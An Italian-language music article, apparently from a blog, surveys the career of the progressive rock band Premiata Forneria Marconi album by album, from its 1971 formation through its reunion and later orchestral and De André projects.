Premiata Forneria Marconi

Premiata Forneria Marconi

Premiata Forneria Marconi

La Premiata Forneria Marconi (PFM) nacque dalle ceneri de “I quelli”, band attiva dagli anni ’60 e scioltasi nel ’70 (la PFM nascerà esattamente l’anno successivo), conosciuta per le grandi doti tecniche dei musicisti: infatti, spesso e volentieri, erano assunti come turnisti e tra i tanti collaborarono con Fabrizio De Andrè nel ’70, nell’album La buona novella. Già nel ’72, con l’album Storia di un minuto, diedero un’importante scossone alla scena del rock progressivo italiano tanto da avere subito un gran successo commerciale in ambito nazionale e con gli album successivi, fino al ‘77, oltre a fare musica via via sempre più complessa e ricca ottennero anche grande prestigio e successo internazionale. Riuscirono ad attraversare i primi anni del declino del prog anche se dopo l’album Miss Baker (1987), a causa dello scarso successo commerciale, la band si sciolse ufficialmente per una decina d’anni, per poi ritornare con album inediti e una grande attività nel fronte live. Con questo excursus vediamo nel dettaglio i vari album e i loro percorsi live più importanti oltre alle varie fasi vissute dalla band.

1971/72/73: la PFM nacque nel ’71 e cominciò subito ad interessarsi alla nuova ondata del rock progressivo iniziata già da qualche anno, vista anche l’alta abilità dei musicisti nella formazione originale, che era composta da Franco Mussida, Mauro Pagani, Giorgio Piazza, Flavio Premoli e Franz di Cioccio, quasi tutti polistrumentisti. Oltre ad aprire i concerti di gruppi esteri (e agli inizi presentando alcune cover dei Jethro Tull, molto importanti come influenza per i loro primi album) fecero uscire il singolo Impressioni di settembre/La carrozza di Hans, che in breve tempo divenne uno dei simboli del prog italiano. Poco tempo dopo, nel ’72, fu quindi pubblicato il loro primo album Storia di un minuto che è uno degli album più importanti del panorama prog rock italiano e che fece guadagnare immediatamente alla band un gran successo commerciale in Italia; l’album si distingue per la cura dedicata all’arrangiamento, alla complessità dei brani e al virtuosismo con influenze “avanguardiste” unite al folk e al rock. Sempre in quell’anno, dopo lo strabiliante successo commerciale del debutto fu pubblicato Per un amico che aveva sonorità molto più complesse, ricercate e acustiche e ottenne un successo inferiore al debutto: ciò non toglie che si tratti comunque di uno dei lavori migliori della scena italiana. In un concerto furono notati da Greg Lake, che li portò a Londra. In Inghilterra lavorarono con il produttore Pete Sinfield e pubblicarono il loro terzo album, Photos of Ghosts. Grazie alla versione inglese di “è festa!” (“Celebrations”) e all’attività live, la band cominciò ad aver un buon successo pure nelle terre d’oltre manica e negli States. Sempre nel ’73 Patrick Djivas sostituì il precedente bassista.



1974: quest’anno fu molto importante, vista la ricchezza e il successo delle pubblicazioni fatte dalla band che si trovava in uno stato di grazia. A Londra avvennero le registrazioni del disco L’isola di niente (ri-registrato con alcune modifiche, oltre alla traduzione dei testi alla versione internazionale The world became the world). La doppia pubblicazione ottenne un grandissimo successo sia in Italia che negli USA, tant’è che durante il tour nordamericano con due studi di registrazione mobili venne registrato il Live in USA che venne pubblicato nello stesso anno e aumentò ancora di più il successo della PFM in Nordamerica.

1975: in quest’anno la PFM assunse un cantante di ruolo, Bernardo Lanzetti, con cui registrarono l’album Chocolate Kings, registrato solo in versione inglese. Da una parte, in Inghilterra e in Giappone il successo fu clamoroso; ma dall’altra parte, complice anche alcune scelte di marketing infelici, negli Usa non riuscirono ad ottenere il successo dell’anno passato. Nel ’76 Mauro Pagani lasciò la band e di lì a poco il prog rock cominciò il suo declino commerciale.

1977: in quell’anno la PFM con l’album Jet Lag sfornarono un disco pesantemente ispirato dal jazz rock, ottenendo un grande successo commerciale negli States oltre a produrre uno dei loro album più complessi e tecnici. Come il precedente album, questo era un lavoro orientato al mercato internazionale e fortemente ispirato ai loro colleghi anglo-americani.

1978/80: dopo il grande successo di questo periodo molto florido la PFM ritornò a pensare all’Italia e pubblicò l’album Passpartù,  album in cui  la band abbandonò in buona parte le influenze e le strutture complesse degli ultimi tre album, per ritornare a sonorità per certi versi più simili all’esordio e con canzoni più semplici e lineari, oltre che cantate in italiano. Nel tour di supporto all’album la PFM collaborò con il cantautore Fabrizio de Andrè e da questa florida collaborazione vennero pubblicati due live di gran pregio nel ’79 e nell’80: Fabrizio De André in concerto – Arrangiamenti PFM volume 1 e volume 2 ottenne un grande successo per la commissione tra il progressive e le canzoni del cantautore, di fatto continuando il buon periodo della band che si concluse nell’80 con l’album Suonare suonare, il quale rispetto ai precedenti è più commerciale e orecchiabile proseguendo quindi la scia del buon Passpartù. E’ da ricordare, del periodo, anche la memorabile Maestro della voce, dedicata alla memoria di Demetrio Stratos, una delle figure più carismatiche e brillanti non solo del prog rock italiano ma anche di quello internazionale.


1981: il successivo Come ti va in riva alla città fu un altro discreto commerciale grazie al rock orecchiabile in linea con i gusti degli anni ’80, in cui furono abbandonate quasi del tutto le sonorità prog in favore di quelle più popeggianti.

1984/1987: la PFM pubblicò altri 2 album PFM?PFM!, dalle sonorità smaccatamente synth pop che nonostante il buon successo alienarono i vecchi fan legati al prog; il secondo album del periodo, Miss Baker, accanto a sonorità smaccatamente synth pop presentò alcune influenze prog e jazz fusion facendo un’album di buona fattura ma che dal lato commerciale fu un disastro totale. Dopo questa pubblicazione e lo scarso successo ottenuto la Band si prese un periodo di pausa lungo 10 anni.

1997: dopo dieci anni di silenzio e assenza dalle scene, la PFM ritorna sulle con il nuovo album Ulisse, un concept album che presentò un prog dalle affinità “popeggianti” di buona fattura, con un buon riscontro nel fronte live.

2000: nel 2000 dopo diversi tour la PFM pubblica un nuovo album di inediti, Serendipity, caratterizzato da sonorità più elettroniche, moderne e dai tratti più immediati e orecchiabili. A tal proposito l’opener La rivoluzione è molto eloquente al riguardo. Non viene comunque meno la ricercatezza della musica proposta.

Nel 2002 il tour di supporto ebbe un così grande successo che li portò in Giapp; così venne pubblicato il doppio live Live in Japan 2002, in cui la band ripropose una scaletta che si concentrava su quasi tutto l’arco della loro carriera, con diversi ospiti e diverse improvvisazioni fatte dai vari membri accompagnati da un pubblico festante e gioioso: un live che a 5 anni dalla reunion ci dà una band che sta vivendo una seconda giovinezza.

Il 2004 è da ricordare per l’inizio del tour PFM canta De Andrè. La band pubblicò il live omonimo nel 2008 e nel tour successivo toccò gli Usa, il Brasile, il Canada e il Messico.
Nel 2005 la FPM pubblicò un altro buon lavoro: Dracula, che è “un’opera rock” dai tratti molto teatrali e ricercati e che presenta un progressive rock molto elegante e raffinato.
2006: in quell’anno la band vide l’entrata in scena di un nuovo spettacolo, Stati di immaginazione, album che venne pubblicato lo stesso anno e che si basava sull’improvvisazione: ogni membro guardava un piccolo schermo insieme al pubblico che guardava il mega schermo alle spalle della band e sulla base delle immagini in video la band si cimenta a improvvisare qualcosa di nuovo. L’idea nacque dal fatto che nei vari tour la PFM adorava riarrangiare e improvvisare i loro classici; l’album comunque si presenta totalmente strumentale con molte parti complesse, proponendo uno spettacolo che lega immagini e musica in un’esperimento molto interessante.


2010: a quarant’anni dall’uscita di La buona novella di De Andrè, in cui avevano suonato “I Quelli”, la PFM fece uscire A.D. 2010 – La buona novella in cui lo riarrangiò aggiungendoci diverse parti musicali e sviluppandoci delle ottime parti strumentali trasformando il vecchio classico in buon album prog.

Nel 2011 la PFM fece un’ulteriore spettacolo da portare in tour: PFM in classic, in cui le intuizioni avute qualche anno prima con Stati di immaginazione vennero ulteriormente elaborate con nuovi arrangiamenti e improvvisazioni di alcune delle più celebri composizioni di musica classica. Dopo due anni la PFM pubblicò il suo ultimo lavoro PFM in classic – da Mozart a Celebrations: nel primo disco sono contenute alcune composizioni di musica classica suonate in chiave prog e con una certa libertà nell’improvvisazione che avevano cominciato a fare un paio d’anni prima in sede live; nel secondo disco invece sono contenuti alcuni classici dal ’72 all’80 risuonati e riarrangiati con un’orchestra di supporto, facendo un altro grande lavoro che ci mostra una band invecchiata molto bene nel corso degli anni.

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Sebastiano Dall'Armellina

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